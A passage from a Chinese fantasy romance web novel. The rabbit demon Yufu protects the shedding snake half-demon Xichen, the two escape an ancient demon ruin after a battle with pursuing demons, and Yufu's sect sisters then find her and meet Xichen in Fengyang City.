如此想着,玉扶对待息尘的蜕皮更加积极,化为少女,将息尘小蛇捧放地面,一眼不错地盯着他蜕皮。 吻端裂开一道口的息尘与玉扶对视着,没有动。 玉扶恨不得去帮他撕开那层旧皮地催促:“息尘,你要动动啊!扭一扭!” 息尘默了,他发现,他并没有那么超脱出尘,至少,他做不到在玉扶面前扭蹭着蜕皮。 他不发一言地滑行到玉扶背处的石块后,淡声:“阿扶,我需要些时间,劳你为我护法。” 他传至脑中的嗓调,温润宽和,令玉扶下意识地乖巧答道:“好。” 但很快,她眨了眨眼,回过味,他们现在的情况哪里用得着特意叮嘱? 息尘学坏了! 玉扶气鼓鼓地哼了哼。 不过,她也没想着胡闹非要看息尘蜕皮,息尘能尽快蜕完皮,他们才更有把握从妖神古墟中离开,即便再好奇,她也不会去打扰的,她就听听! 听听又不过分! 然,这一听,玉扶更敏锐捕捉到的是危险。 妖域的大妖们,与凭借血脉强大的古妖不同,他们完全是依靠如今的各种条件成为的大妖,有族群,有法宝,还有自身的资质,他们并不容小觑。 此刻,玉扶感到的便是又有妖追来,尖啸盘旋山顶一片区域,他们的羽翼煽动,探查间,也掀起了更大的火浪,玉扶紧张无比地戒备。 继而好像打了起来? 等了片刻,打斗远离了一些,一只拳头大的魂体小兔才从火石中浮现,远远瞧见,原来在躲三大妖族的不止是她和息尘,还有狐妖雪仙。 献祭失败,雪仙没能被圣山接纳入昔日之境,还暴露了安插在三族中的妖众,这些时日来,没少被三大妖族追着撵。 真是活该! 如果可以的话,她都想上去咬两口,要不是雪仙一直搞事,玉扶想,她大概还在修界过好日子呢。 也就看了一会儿,玉扶外放的神通又缩回了地下隐蔽起来。 她知道,这一波不过是侥幸逃过,许是现下只能靠她的缘故,她紧绷的精神总是控制不住思考些什么。 过往单纯的成长环境,造成了她的思维总不愿意去想复杂的事,但她不认为狡猾聪明的狐妖会没有目的地针对息尘。 这种针对好像从好久之前便开始了,是狐妖夺走的惑心镜让阿裴第一次出现,也是因狐妖留下的线索,息尘带着她入了妖域,而阿裴更是在独自闯入狐妖的七欲楼后,带回了妖神古墟的消息。 还有,在圣山苏醒的前一刻,她似乎听到了狐妖唤阿裴为“少主”? 玉扶极少会有听错的情况,她皱着眉思索,阿裴到底是哪门子的少主? 犹是思索着,她也偷偷地让整座矮山缓缓挪动,免得打斗又波及了过来。 有妖打得酣畅,飞起身时,颇为疑惑方才探过区域,似乎有些变化?然他只当是狐妖又用了什么惑人的术法,重新于高处飞冲而下。 玉扶如此又躲了一两个时辰,但山会动这事还是被发现了,盖因狐族的雪漪为了再找出她的好妹妹雪仙,竟给妖神古墟以灵法绘图了。 一座会动的山于她的图中,和直接告诉她这山有古怪有什么区别? 这次,他们犹如达成了共识,竟合围向了矮山,就连地下的可遁之处也给封上了。 玉扶成了困兽。 从玉扶手下吃过憋的妖狼族银朔大喊:“兔妖,出来!” 比起银朔威慑的兔妖,单云霄更戒备一直没有出手的裴息尘,他料想其同兔妖定然是得了什么的传承,不然那小兔妖不会短短的时日内修为趋近化神,竟还能于他们的眼皮底下躲了这般久。 初时,他拦了雪漪几息,多有欲将二妖归为鹰族,其所得传承也合该归于鹰族的表态,然能来此的,没一个会白看着同妖王有关的传承,落到任何非己的一族当中。 他的心思顷刻被雪漪戳破,同时,也有几分被点醒,裴息尘桀骜不逊,出现在妖王城的时间也未免巧合,与雪仙的那一战也透着古怪…… 几厢较定,不如先将二妖拿下,再行争夺,他出言:“我观蛇妖覆眼下有阴翳,且一直不曾出手,恐是在兔妖护法下蜕皮。” “那蛇妖本事不小,我等不能等他度过蜕皮期。” 银朔便骂:“歪歪心思一堆,有这发现不早说!” 当下,几多法光轰向矮山。 玉扶压力陡增,满山都是她被轰出来的魂体小兔子。 皆是她神通与法力所凝成的移山与探查用的魂体小兔,它们不断散成光点,玉扶的灵力也见底,甚至,连藏身的山头都被削去大半。 她暴露在了众妖眼下。 第60章 玉扶从来没有独自面对过这样多的敌妖, 虚眼扫过,足有几十数。 其中还不乏眼熟的大妖,鹰族的诸妖, 相处过,她都还记得他们的长相, 她还看到了蛛娘, 于鹰族大妖后, 望向她的眼神好像在可怜她? 玉扶粲然一笑, 她才不可怜, 她可厉害了,她已经成长得比蛛娘厉害,而且还能在这样多的大妖手下躲藏到护着息尘完成蜕皮。 也是她的这一笑, 蛛娘惴惴后退, 几多大妖也隐觉不好,尤其是在一阵法光要击上的玉扶的一刻,碎石发震,空气鸣撞, 她的身后倏然显出巨大蛇形法相—— 不是术法虚影, 而是更凝实更强大几如妖躯现形的法相。 法相仰头, 所有术法、攻击……如滞空中,法相摆头,术法、攻击纷纷调转朝向他们的主人。 而在巨大法相之下, 是敛目而立的男子,他华美淡然, 眉目犹如工笔画般高邈脱俗。 玉扶脏兮兮地昂着头,好像回到了第一次与他相遇,那时他也是这样一看就强大, 还好心肠极了,须臾,玉扶扑向他,嘤嘤告状:“他们欺负我弱。” 息尘垂眼而笑,单手拢她入怀:“嗯,我知。” 再掀眼,眼中并不含杀戮,只其中清幽若虚,也无有良善,他的怜与悯似乎都给了怀中的少女,旁的妖,分不到半分,他推掌扬风,再立已是法相之上。 玉扶环抱他腰,新奇地丝眼瞥看,只见众妖的攻击掀风又来。 息尘岿然不动,法相蛇尾翻动,横扫一片,同时,正面以光屏拦下银朔狼刀一斩,巨大的力量对抗,玉扶感到息尘的腰收紧一瞬,继而掀动一晃,银朔与狼刀被猛然甩出。 而息尘稳稳收步,下移的手,托住玉扶腰肢,好不让她受到打斗影响。 玉扶瞧得眸光都在发亮,若是可以,她都想鼓掌了。 但显然的,此战还远不到结束的时候,大妖轮番又合力地攻上前,莽足了劲地要将他们摁死在妖神古墟。 又是一次蛇尾拍击,息尘重新落至法相头顶,翻掌时虎口出现一串佛珠,只见他唇瓣喃动,佛珠倏地脱离他手,浮散周身。 随着他的快速喃动,每一颗佛珠都爆出强烈的金光,一个个压缩着禅法的大字凭空浮现,分别是“空”、“止”、“戒”、“定”…… 还不及看完,这些金字已一个个飞向大妖们。 其中一个“空”字自成一方结界困住了好几个狼妖,一个“止”拉出了无限金线,如茧般裹住了雪漪一干狐狸,“定”字锁住鹰妖翅膀,如此等等不一而足。 佛宗手段,玉扶见过不少,但今方知“佛子”二字等同什么。 大妖叫骂、挣扎,几件法器却无可阻拦地从他们当中飘出,法器齐聚,阵法浮现,妖神古墟通往妖域大门即将重开。 玉扶并不问为何息尘既困住了这些妖,却不杀了他们,她知晓,息尘不是滥杀的性子,且,当下先出去才是要紧的。 然变故也是突然而至的,时长时短的哨声由远及近,狐影急掠而来,须臾夺走数妖性命,就连息尘的反应也有一瞬的迟缓。 巨蛇法相狂躁胡扫,息尘摇头皱眉,直如受到什么神魂攻击。 地上本被绑缚的雪漪落到了雪仙的手中,脖颈诡异扭着,青筋爆出,一条不属于她的尾巴穿过她的腹部,雪仙卷着挣扎的雪漪亲昵道:“姐姐,还是你的身体与我最契合。” “日后,就借给妹妹用吧。” 不过短短几个呼吸,只见雪漪头垂了下去,又很快地重新活了过来,咯吱活动中,脸上全然换了一副神情。 她身上流着血,眼神却是看向了玉扶,雪仙早已发现,主人赐下的骨哨似乎只能短暂影响少主,或许还不如这兔妖来的作用大,几乎没有停歇地,五爪冲向息尘。 却在将将接近一瞬偏向了玉扶,脑中唯一个念头,带走兔妖,不愁挟制不住硬骨头。 她观察得很准,这个不滥杀的少主,与先前一味追杀她时的少主不太相同,她有七成的把握不丢掉性命。 骨哨再响,她几乎就要抓住了息尘那一刹的被动带走兔妖了,然而,结果却是她不可置信地垂头,望见了自胸口处消散的灵元。 玉扶也瞧见了,息尘松开她的那只手,竟穿过了狐妖的胸—— 鲜红的血一滴一滴坠成线落下,而息尘还在无比冷静地查看狐妖最后的记忆。 淡色唇瓣极清极冷地吐字:“凡域,皇城。” 玉扶不懂这几字的含义,只能见到狐妖已经死透,还有息尘在某一瞬,似乎不太像他,但也绝不是阿裴出现,而是犹如本该纤尘不染的神祇,一刹沾染杀性的震撼。 圣洁染血,令人不由自主地想要俯身臣服。 玉扶从没见过这样的息尘,心跳砰砰,一时竟难以区分到底是惧还是欢喜。 息尘也瞧着手心的鲜红怔然,他不是不曾杀过妖,可这样直接粗暴地见血,却是头一遭,那刻,惊奇地,他有了强烈的情绪,恼、怒、恨还有一点的喜,再才是归于平静。 不排除有骨哨的影响,他能感受出其内有一滴他的血,就连那满是怨煞的骨身,也与他存在着某种联系,但他不认为这是真正的原因。 是他,一直在改变。 骨哨浮入他掌心,化为一堆齑粉落下,一只透色漾着水的小兔落在他手心,水兔子滚圆,口中不断噗噗出水,最后啪嗒一下,化为一滩,彻底洗去他手中污渍。 玉扶掐着法决的手还不曾放下,脸蛋都在为了一个小法术在憋力,显见的,今日的消耗对她而言有多大。 他不再纠结改变不改变,他的改变或从离开佛宗那一日就是注定的,清浅克制一笑,与玉扶道:“阿扶,我们离开。” 妖神古墟阵门已开,走过仍受困诸妖,息尘神性垂眼:“此禅言还会困你们一刻。” 说罢,走出阵门,法相巨蛇紧随其后,它的体型实在过于庞大,挤动中,阵门震荡,法器嗡嗡作响,最后,彻底挤毁阵门。 但阵门并非就此关闭,而是以此为点,不断扩大,想来用不了多久,便再无妖神古墟与妖域的界限区分。 圣山的雨会歇,学宫的火会灭,古老的魂念真正地消散天地,来日,这里或会迁入新的妖,生出新的灵植,再诞出奇特功效的灵泉。 * 息尘以法相带玉扶离开足有上千里,才倏然跌落。 再强大的妖都有弱点,何况还是从佛修转半妖的息尘。 将时间压缩到极致的蜕皮,连恢复期都跳过的爆发,固然强悍无比,但后继的无力来的也同等强烈。 他缩得好小,新的皮肤每一片蛇鳞都鲜艳漂亮,湛湛地泛着光泽,然,当玉扶视线移至尾尖的时候顿住了,那一处明显的旧皮,犹如一圈缩紧的皮筋,破坏整体的美感,将尾端锢出了痕迹。 息尘注意到玉扶视线,尾尖摆了摆:“无妨的。” 玉扶不高兴地呼气,反驳教训:“才不是无妨,尾巴很重要的!” “我山里就有一条小蛇蜕皮的时候尾巴尖卡皮,后来它的尾巴就停止了生长。” “之后的每次蜕皮,尾巴的旧皮就一层叠一层,最后彻底失去了那一部分尾巴。” 当蛇不久的息尘还是第一次知道这样的信息,他呆呆地听玉扶教训,豆豆眼中满是少女鲜活的模样,直到她说完才开口:“阿扶的住处,原来有很多小蛇吗?” 玉扶:“当然不是。” 她才不喜欢蛇呢,她的洞府周围经她霸道清理过,她不喜欢的兽类根本不能靠近,是她放出的魂体小兔给她听来的消息。 山里其实一点也不无聊,她听得懂没开智的兽类谈话,也能感到山木的不同情绪,诸如,松鼠会嫌弃山树结的果子梆硬,一些山树有骂松鼠没良心的,也有抱怨松鼠将它们树皮磨坏了的;还有野猪翘笋,差点将竹林的全家端了的…… 种种八卦官司都是她听来的,一条失了尾巴的小蛇这样的新鲜事,就更逃不过她的耳朵了。 她将这些说给息尘,秒补一句:“我现在喜欢小蛇了。” “喜欢你这样漂亮的。” 息尘的小蛇形态瞧不出脸红,但它的尾巴不受控地不断缠着玉扶的手指,他觉得这样不好,不矜持,转移话题地同玉扶道:“阿扶,一直向南,我们离开妖域。” 不用息尘提醒,玉扶也知晓,现在只能靠她赶路了,重回妖王城也是不成的,虽然放过了那些什么少主大妖,可不代表和解了,只能说不至于不死不休的地步。 早点离开妖域避一避才是关键。 玉扶恢复一点,就开始赶路,其中遇到好几道妖隙,经息尘探过,认准一道通往修界的,玉扶一头扎入。 修界的日光比之妖域不知明亮了多少,空气中都好似蕴着轻快的气息,玉扶好半响都没有爬起来,在草地上滚了滚,仰躺着望天与息尘道:“我们出来了!” 息尘扫了扫尾巴,将玉扶身上的青草屑拂去,他尝试过了,还是做不到恢复身形,只能帮玉扶做一些力所能及的。 但这种体贴吧,挺怪异的,活像一蛇一兔在打架,也有点吸引动静。 此处既有妖隙,说不得也有发现的修士,玉扶才滚了滚,就听到了些靠近的动静,当下化形出少女,息尘藏入她袖中。 来人颇为年轻,十二三的少年模样,衣着也不像是正规宗门出来的,应是个散修弟子,甫一见得草丛中多了个貌美少女,也是惊了惊,话都说不利索:“是妖还是人?” 玉扶仗着这个小修士看不穿她的化形,站起身拍了拍草屑,问他:“小道人,这里是哪儿?” “凤阳城,东郊乌岭。”小修士没有隐瞒,甚至关心独自出现的玉扶道:“这里有妖隙,我师傅在此狩猎,他很快回来,姑娘你赶紧走吧。” 说着,他还紧张地看了看身后。 他的身后并无来人,但息尘在传音玉扶:“阿扶,走。” 玉扶不疑有他,同散修少年道了声谢,立即往妖隙相反的方向离开。 直到离得有些距离了,玉扶才懊恼想起:“我都忘记问一问他说的凤阳城是不是这个方向了?” “我看那少年应是个好人,息尘,你怎那么急着让我走?” 息尘缠在玉扶发间,蛇首如同一颗宝石下坠:“阿扶,修士并非都是好人。” 这点与师姐们的教导相合,玉扶赞同点头:“我知道呢。” 分明就是不知严重与否的轻快语气,息尘叹息地讲道:“那少年守在偏僻的妖隙附近,他师傅或是猎妖人。” 散修通常不比背靠宗门的修士富裕,不少会要通过猎取妖兽来换修炼资源,这都无可厚非,但猎妖与猎妖兽,一字之差,却大有不同。 前者,专以捕开智甚至能化形的妖以达谋利。 开启的妖隙,有些时候不免会有一些妖偶然通过,一旦被捕得,或炼或卖,不得而知。 但他们也会惧怕遇上得罪不起的大妖。 玉扶后怕地咽了咽唾沫,问:“那方才的小修士是诱饵吗?” 息尘摇头:“不好说。” “但他应是没辨出你是妖。” 玉扶点点头,又得意起来,到了她这等境界,也不是什么小修士都能看穿她的,不过,也确实又上了一课,她开心地对息尘道:“幸好,我第一次遇到的是你。” 息尘怔然,笑得无声,半响,方才轻轻“嗯”了一声。 幸好,玉扶遇见的是他。《 》 60-70 第61章 因没有事先问清路, 玉扶颇绕了一段远路,才到凤阳城。 他们进入妖域的时候分明是北境,可这出来的时候竟到了东境, 某种意义上来说,玉扶绕了一大圈, 快回家了。 合欢宗便是落于东境。 玉扶没想着回去, 她好累了, 而且凤阳城距离合欢宗还怪远的。 可即便是这样, 也给了玉扶不少底气—— 嗯, 欠债的底气。 她的灵石早就用光了,息尘的也被阿裴败得异常干净,倒是还剩了几颗妖丹, 只修界中多数情况下并无法直接取代灵石, 尤其是她住的挺贵的。 此刻,玉扶就在凤阳城最贵的客栈包下了最好的客房,签下了数张欠条,然后, 让伙计送走医者, 送来温水、粗糙石块与沉木等物。 她先将石块与沉木放入水中, 再让息尘入水,如此息尘就可以轻松地将头露出水面呼吸。 就在方才,她同请来的医者问过了, 对蛇尾卡皮的情况并不能用蛮力生拉硬拽,一定要用温水浸泡, 先让旧皮变得柔软,再让小蛇自己摩擦。 在妖神古墟的时候,情况危急, 玉扶都没能见到息尘是如何蜕皮的,但现在她就是有好多的耐心等待。 盛着温水的木盆摆在桌上,她撑着脸,兴味极了地看。 息尘并不愿让她看,然一旦他说些什么,玉扶便一味地“不听不听”态度,只得作罢。 玉扶发现,变成小蛇的息尘真的好笨拙,他磨蹭个蛇尾,竟然能几次呛水,都是玉扶伸手将他从水中重新捞起来。 但即便这样,息尘也没有说换让阿裴来的话,他们对彼此的存在,时而竞争,时而又非常微妙,玉扶觉得,息尘好像也有点变了,变得不再那么退让。 玉扶也不知道这是好还是不好,而且也不是担心要选谁的问题,而是想,这次阿裴一定要气疯了。 莫明的,她有点想发笑。 玉扶无疑是相貌姣好的小美人,眉眼清艳,无知无觉中,就天然地足够吸引人,她倏然绽开的笑靥,乍如美玉流光,甫一见,便令人心扉掀起骇浪,可她那没有目的的视线,息尘看出来了,她想的不是他。 也不知出于何心理,息尘希望她的视线是落在他身上,至少,在是他的时候是如此,再一次地,他呛了水。 玉扶慌张将他捞起,提议:“不如我帮你吧。” 息尘一时不答。 玉扶证明自己道:“那老医者同我说过的,只要不生拉硬拽,尾巴湿润后,是可以帮忙的。” “我会很小心的,我保证!” 玉扶的尾调不自觉地带上了撒娇的意味,听入息尘的耳,却是一贯软到心里去的甜,他答应了,一声迟钝的“好”,玉扶险些没反应过来。 她不可置信地眨了眨眼,倏然就紧张了起来,不断回想着医者是怎么嘱咐的,准备好湿毛巾,再将小蛇轻轻捧起,放置,用湿毛巾裹住他的身体,尤其是尾巴尖的部分,让它保持湿润,继而展开湿毛巾,开始上手。 她一手揉搓,一手用拇指与食指捏住息尘卡住的皮,轻轻地、朝着尾巴尖的方向用力,才用了一点点力,她就紧张的问:“这个劲会痛吗?” 息尘一时无法形容这种尾巴完全被掌握的感觉,柔软的,裹紧的,所有敏感的神经都被拿捏的可怕战栗,他整个蛇身好像都软了、无力了,属于蛇的泄.殖.腔在蠢蠢欲动,蛇信呆呆吐出。 他的模样让玉扶都不敢用力了,同样是摸尾巴,但息尘与阿裴完全就是不一样的反应,阿裴浪、爽得没边,可息尘却好像是要死了一样,过大的不同,玉扶眼泪都快急出来了:“息尘,你不要死啊!” 小蛇在玉扶的哭音中,犹如受到刺激,蛇身骤然抽动,继而极快地扭了扭,一下就窜出了玉扶的视线,重新落回水盆之中。 而玉扶手中,却赫然是撸下来的完整蛇皮:“这就下来了?” 玉扶有些不敢相信,瞥目间,发现湿润的毛巾隐约中,似乎还有些旁的痕迹,不过太过潮湿,并辨不出。 她尤想再为息尘检查检查尾巴。 息尘却已于石块与沉木中躲了起来,声音也有些远超平日的平淡,他让玉扶不用担心,他无事,他需要些时间恢复修为化形。 息尘惯来除了修炼就是修炼,玉扶不疑有他,仔细把玩了一会息尘尾巴尖褪下的一截皮后,便又赊账将自己从头到脚清理了一番。 沐了浴,换了新的法衣,没有危机,没有逃跑,只有暖融融的被窝,安全舒适得玉扶很快滚入床榻。 清浅的呼吸于静谧中悠长而轻盈,显出不一样的乖巧。 息尘终于从躲藏中滑出,蜿蜒的水痕直向少女安卧的床榻,明明是那样没有眼睑的蛇眼,但此刻却并不显呆冷,圆形的瞳孔中涌动着许多复杂的、陌生的情绪,心里明知不该,却又忍不住靠近,他想看看阿扶,想亲—— 息尘又被自己的想法惊到,可他难以控制不去想,他的心被占满了,着了魔一般地只有阿扶。 他定了定心神,勉强找回失衡得有些过分的神志,蛇身蜷在玉扶脚踏边念诵心经。 * 翌日,玉扶懊悔地醒来,她竟错过了修炼的时辰。 可转瞬一想,短短的几个月,她非但恢复了修为,而且进步不是一般的多,即便偶尔偷懒一下似乎也没什么? 她总是非常容易将自己哄好,赤脚下了榻,奔向桌前那盆水:“息尘,你醒了吗?” “你又不是水蛇,为什么还要躲在水里,出来玩吧。” 说着,伸手拨了拨水。 没有回应。 息尘:“阿扶,我在这。” 声音自后传来,玉扶扭头,发现息尘竟是从榻边的角落出来,也还是小蛇的形态。 也不是失望吧,就是觉得可惜,可惜他现在这样小,修为都没恢复,不能让她啃一啃补一补,但也就一瞬的念头而已,她太知道佛修有多难啃了,当下抛却不正经的念头,蹲下身,伸着手邀请:“我们出去玩吧,我还没来过凤阳城呢。” “息尘你来过吗?” 息尘摇头,对着玉扶伸出的手,凝注片刻,还是盘缠而上,许是意识到自己幽暗心思的缘故,再次与少女体温相贴时,他的蛇身都不由绷紧,无论如何变换姿势,都心觉局促。 尤其是当玉扶想摸向他时,他本心中想躲,身体却先一步做出了反应,于少女的手下,被轻抚得蛇鳞都舒张。 玉扶并未留意到息尘的内心挣扎,她方将房门开了一道缝,便隐隐闻到了空气中的不对,好香,好熟悉的味道。 随之侧耳听得更远,有女子议论声清晰入耳—— “我猜阿扶房中必然有人,男人。” “不见得,阿扶下山后就突然消失,从我与六师妹寻到痕迹来看,遇到危险的可能性更大。” 一女子立马笑着接道:“即便有危险,显见的也是过去了,不然我手中这一叠欠条如何而来?” “还能有心思花在吃住上,莫不是又长威武了?” …… 不愧是见多识广的师姐们,光靠直觉就一猜一个准,再聊下去,她的面子里子就都没了。 她豁地关了门,在房中踱来踱去,一会检查自己是胖了还是瘦了,一会又将息尘藏入被中。 “阿扶,外头有你想躲的人?”息尘从被中滑出。 玉扶完全不知如何与息尘解释好,能见到师姐们,她自然是开心的,而师姐们想来也是因为担心她才会寻来,可是她还没同息尘说起过她的宗门。 而且,乍然遇上,息尘还是一条小蛇,她又要怎么介绍息尘呢? 息尘会想让人知晓他从佛子变成了半妖吗? 还有,某种意义上,她也算是得罪了妖域的大妖,此次干脆同师姐们回去,躲上一段时日,也不失一个选择。 那息尘要同她一起回去吗? 可他看上去分明就是还有事的样子。 短短的功夫,玉扶想了好多,她摇了摇头,同息尘道:“是我师姐们寻来了,你要同我回家吗?” 玉扶一直都是有秘密的兔子,有同门也并不奇怪,息尘心下稍松,然对其邀请回家还不及回答,外头便有女声已到门前。 轻轻的几下敲击,有女倚上门扇:“阿扶,怎老远见到姐姐们就躲起来了?” 一语歇,立即有旁的女声续上:“小兔子,快快开门。” 她们含笑带宠的嗓调中全是同玉扶的熟稔,好听得玉扶的脸颊发红,她也顾不上息尘了,挪步过去开门。 甫一开门,就是一通带着香风的拥抱,有捏她脸的,也有捏她腰的,还有先行扫视一圈房内的。 眼下泪痣的成熟女修,最先发现了玉扶修为的变化,夸道:“不错,确实更威武了。” 玉扶脸上赧红,几位师姐惊讶叠问:“不简单啊,阿扶,短短时间,修为竟涨了这样多?” “我就说,渡情期不能浪费,一定要挑个补的吧。” “与师姐说说,这些时日都怎么过的?” 她们一句问一句,热情得玉扶都开始害怕她们吐出让人招架不住的话语了,慌忙带着几个师姐出门去。 原来,师姐们说是让她独自去闯荡,但一直有偷偷关注她,只是她被妖魄卷入妖隙得太突然,当她们发现她气息消失追上时,已寻不到了她的踪迹。 后来,是栖云商会的少东家给七师姐的去信,附带了一张按着爪印的欠条,才让她们放下了心。 到此就不得不说,七师姐为了她,勉为其难地又联系上了栖云商会的少东家,让其留意玉扶去向。 所以,虽然入妖域后的事师姐们不知,可自离开开阳宗,她一直与谁在一起,师姐们竟是都知晓的! 玉扶唇瓣张了张,完全惊得说不出话来了。 她都有点庆幸知晓师姐们的狂放德性,在出门的前一刻,将息尘小蛇留在了房中。 此刻,师姐们的话题都已经进展到问她佛修的滋味如何了。 玉扶磕巴道:“就挺好的啊。” 第62章 玉扶又被笑了一个大红脸。 大师姐红裳这才轻拍手掌, 收了众人对玉扶的继续传教:“好了,阿扶还小,莫过分了。” 她的视线柔和许多地转向玉扶:“既回东境来了, 可是同那佛修断了?” 这可真不好答,她都还想带息尘回碧山呢。 她容情不过为难一下, 众位师姐如同明白什么一般安慰道:“无事的, 阿扶, 即便没断干净, 谅他一个佛门弟子, 也不敢寻上我合欢宗!” “世间好男子多的是,旧的不去新的不来。” “你第一次下山,修为涨了才是实在。” …… 眼见她们误会得越来越远, 玉扶低着头小声道:“他没有负我, 是我想带他回家。” “可以吗?” 师姐们沉默了,消息没有错的话,将玉扶带在身边的那位,并不是佛宗中普通的佛修, 而是只此一位的佛子, 阿扶睡了也就罢了, 这若是带回宗门—— 佛宗那群认死理的,岂不是要将合欢宗打为邪宗? 虽然她们合欢宗修炼的法门是有点歪,可向来讲究你情我愿, 是再正派不过的宗门。 这好为难啊,可这拐带莫名有点爽是为什么? 几位师姐眉眼乱飞地交流, 还是红裳先正经咳了一声:“阿扶,你想带他回去,也要问过那位的意思, 他可愿意?” 六双好奇的眼倏地一下盯住玉扶。 玉扶慢吞吞地掀眼:“应是愿意的吧,可我方才问他,他还没回答我。” 众师姐彼此对了个眼,无比肯定,方才她们看过的房中并无旁的人,那阿扶是何时问的? 那位佛子又在何处? 几乎是同时地,她们开始怀疑,莫不是消息出了错,或者佛子本就是假的,阿扶是上了个坏人的当,否则见个面又有何惧的? 细想,真是佛子的话,心性又岂会是轻易栽在阿扶这样没手段的小兔妖手中的? 然则,当她们目光一齐移到玉扶漂亮的小脸蛋时,又否定了方才所想,长眉秀目,会说话似的眼睛,嫣红的小嘴,稚嫩秀丽中,懵懂而独特的风情,没有再比挑剔多情的她们更知晓这有多吸引人,别说是佛子,就是天上的谪仙都摘得,再则,进步甚多的修为也做不得假。 所以,这个勾得她们天真的小兔子要带回家的男人到底在哪? 众师姐们几乎想撸袖子干架了。 玉扶也终于察觉自己说话又大漏勺了,补救地为息尘解释:“他有一点点小麻烦,身体出现了一点变化,但他很好的,是我还没有问过他,可不可以见师姐们。” 很好,一听更不像是传说中的佛子了,更想干架了。 七师姐最为温柔地站出来:“既如此,阿扶不如去问问他可愿见见你的家人?” 玉扶也正有此意地点头,于众师姐的目送中,她重新回了客房,还极为小心地阖上了门,小声呼唤息尘。 在她唤第二声的时候,息尘小蛇就已经出现在她眼前,暂时处于虚弱期的他,只能维持着小蛇的形态,他并不能听到玉扶与她的师姐们在外谈论了什么,但可见的,阿扶与她的同门们感情应是很好,或许,她们是来接玉扶回家的。 有那么一刻,他是失落的,可面对无知无觉的阿扶,他又深沉地等待她要说的话。 玉扶确实无知无觉,至少她无法从一条不凶的小蛇面上瞧出呆以外的情绪,她托脸而坐,用近与息尘平视的目光与他道:“息尘,我可以带你去见我的师姐们吗?” 想了想她又补上了一句:“她们知晓你是佛子。” 一瞬,息尘就懂了玉扶为何有此问,阿扶的师姐们或是通过某些途径,知晓一直同玉扶在一起的是何人,但大抵是想不到佛子会突然成为了半妖。 此事即便到了如今,知晓的也不过寥寥,玉扶一直同他在一起,却是再清楚不过,与其说她是在问可不可以见她师姐,不如说是问,这件事可不可以令旁人知晓。 她在维护自己。 息尘轻易得出这个答案,蛇信不自主地吐了吐,是愉悦的感觉,他缓缓地品味情绪,开口:“阿扶,不必为我有顾虑,这些时日,我予你带来不少麻烦,是该见见你的同门们。” 玉扶不赞同地哼了哼:“你才不是麻烦,是我想跟着你呢。” 而且还是别有用心的那种跟,息尘就是太好心肠,什么责都往自己身上揽,简直大呆瓜。 息尘笑而不语,活动蛇身攀上玉扶的肩,示意可以去见玉扶的师姐。 玉扶走了几步,手放上了门扇,却没有开,先偏头向息尘,有些迟疑地的小声提醒:“我忘记同你说,我的师姐们性格比较热情言语有时候,也有点大胆。” 息尘:“嗯,无妨。” 玉扶终于推开了门,她风情各异的师姐们,原各倚各的动作瞬间扭过视线看来,三师姐程澄脾性向来暴躁,率先讥向玉扶空无一人的背后:“这是不让见?” “什么男人,大姑娘似的,阿扶,师姐这里有更好的。”说着就要往储物里掏册子。 “不是的,师姐,他在这——” 众人只见小师妹的双手摊开,一条小蛇从肩盘至手中,支起的上半身还颇人性化地与她们颔首,男子的声音传至每人的耳中:“万佛宗弟子息尘,见过诸位道友。” 玉扶的师姐们神情各异,短暂惊讶过后,满是一言难尽地相互觑看:没跑了,阿扶一定是被骗了! 万佛宗的佛子是叫息尘不错,可从来没听过是一条瞧着就能轻易捏死的小蛇,且,西境佛宗再如何包容也不至于对佛子的人选随便吧? 怎么想,都是她们软绵可爱的兔子小师妹,被不知道哪里冒出来的妖给骗了。 红裳勉强定了定神:“这位禅师倒是有些特别,我等皆为合欢宗弟子。” “阿扶,你暂将这位禅师放下,同我来一下。” 几乎是在玉扶被大师姐招走,其他的几位师姐就一齐围了上来,她们试图让玉扶明白是被骗了。 然玉扶的回答却将她们给整不会了,她道:“可是我也是妖啊,所以他是妖又有什么关系?” “而且,他真的没有骗我,他就是暂时变得这样小……” 如此如此玉扶说了好多在妖域抢机缘遇到的麻烦,才勉强让师姐们相信她没有被骗。 只是不知为何师姐们仍旧一副白菜被猪拱了的不甘模样。 最后,玉扶没能将息尘带回山上,师姐们没能确认半妖真假是一回事,路途远也是一回事,在场师姐们能恰好聚一起,也不过是因她们也正在宗外行走,听到了消息,才从原本各处赶来,像二师姐就不在当中。 一下子,客栈就被财大气粗的七师姐给包下了,她们决定等到息尘的虚弱期过去,看看他到底是个什么模样。 终于将师姐们送走后,玉扶才不好意思地挠头对息尘道:“我第一次下山,师姐们是不放心我,等她们见到恢复后的你,一定就不会有偏见了。” 毕竟从师姐们给她传授的审美标准来看,男人只要够补,够好看,其他的就都不是问题。 息尘其实并不在意这些,可是当见得玉扶被她的师姐们团团围住的热闹模样,就知有些事必须同玉扶说清楚,他并不准备同玉扶回家。 他也不该因自己的不舍,强留玉扶陪伴在他身边,她不是他一开始以为的无家可归的小兔,她有依靠,有很多喜爱她疼爱她的同门,也已经变得厉害许多,不是非他不可。 息尘蓦地怅然,可还是与玉扶说了:“阿扶,待恢复后,我欲往凡域。” “你既与师姐们相遇正可归家。” 他语调平静,停顿却略显艰涩。 玉扶眼中水光倏地就出来了,她真的好难懂佛修,息尘分明也喜爱她,可是为什么每次都想着让她离开呢,好多好多次了,佛修不是应该不打诳语不违本心吗? 她咬了一下下唇,表情嗔怨极了:“阿裴就不会赶我走。” 她的眼睛清澈纯美,雾蒙蒙的一层泪意,就是说着生气的话,都有一种被欺负了的委屈可怜之感,短短的对视,息尘遽然就败下阵,他用圆圆的脑袋挺到玉扶的脸侧,笨拙地蹭了蹭。 “你在安慰我吗?”玉扶不领情地哼哼:“可你还是要扔下我。” 那不满意的小表情,直将息尘算做了负心人。 可若息尘的心再硬一些,态度也更坚定一些,便会发现玉扶可怜巴巴下的作态。 但他没有。 他的心肠似乎怎么都对玉扶硬不起来,一次一次地会被玉扶的装乖欺骗,也一次一次地会为她心软,他愧疚十分,耐心十足,他与玉扶讲凡域难以到达,讲凡域灵气匮乏。 玉扶不置可否。 他又与玉扶讲双圣诞下的,那颗没长成就被送出妖神古墟的蛋,是后来的妖王,而妖王是他的母亲,她没有失踪,或许也仍活着,只是被困在了凡域的某处。 这是息尘在与玉扶讲他去凡域的缘由,所以并不是抛弃玉扶。 然弄巧成拙的是,玉扶理解是理解了,可兴趣却更浓了,半妖复杂、神秘、有故事,她对他更好奇了,不掺杂任何目的,也不是想双修,而是更纯粹一点的,她想了解。 了解什么都可以,只要知道得更多一点,也更陪伴一点。 翌日,她开始同师姐们明里暗里地打探凡域有关的信息。 